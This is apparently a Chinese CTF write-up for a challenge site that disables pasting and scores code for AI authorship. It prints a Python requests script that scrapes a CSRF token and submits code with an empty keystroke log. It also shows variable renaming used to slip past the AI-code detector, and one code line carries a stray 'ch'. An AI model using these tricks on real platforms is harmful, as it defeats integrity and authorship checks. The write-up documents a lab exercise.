进入网站看见算法题目发现黏贴被禁用

import requests, json, time, random, re

BASE = "http://160.202.254.160:13177"

c4 = '''your python code
'''

s = requests.Session()
r = s.get(BASE + "/")
m = re.search(r'id="csrfToken" value="([^"]+)"', r.text)
csrf = m.group(1)


payload = {"code": c4, "lang": "python3", "keystroke_log": [], "csrf_token": csrf}
r = s.post(BASE + "/submit", json=payload ,verify=False)
d = r.json()
print(json.dumps(d, ensure_ascii=False, indent=2))

可以使用代码发送请求

或者改前端js代码（有点麻烦）

n = int(input())  
dp = [0] * (n + 1)  
dp[0] = 1  
for coin in range(1, n):
    for s in range(coin, n + 1):
        dp[s] += dp[s - coin]
print(dp[n]) 

这个是这道算法题目标准解法，但是会被检测AI率 100.0% ≥ 5%

尝试修改dp初始化，两行代码合并成一行

n = int(input())
dp = [1] + [0] * n
for coin in range(1, n):
    for s in range(coin, n + 1):
        dp[s] += dp[s - coin]
print(dp[n]) 

发现AI率 80.0% ≥ 5%

再尝试更改dp这样的标准变量名改成d_p

n = int(input())
d_p = [1] + [0] * n
for coin in range(1, n):  
    for s in range(coin, n + 1):
        d_p[s] += d_p[s - coin]
print(d_p[n])ch

尝试这段代码发现通过，最终poc：

import requests, json, time, random, re

BASE = "http://160.202.254.160:13177"

c4 = '''n = int(input())
d_p = [1] + [0] * n
for coin in range(1, n):  
    for s in range(coin, n + 1):
        d_p[s] += d_p[s - coin]
print(d_p[n])
'''

s = requests.Session()
r = s.get(BASE + "/")
m = re.search(r'id="csrfToken" value="([^"]+)"', r.text)
csrf = m.group(1)


payload = {"code": c4, "lang": "python3", "keystroke_log": [], "csrf_token": csrf}
r = s.post(BASE + "/submit", json=payload ,verify=False)
d = r.json()
print(json.dumps(d, ensure_ascii=False, indent=2))

注意url地址改成自己的
ps：其实两个反检测方法都是一遍一遍试出来的，不是一遍就成功的
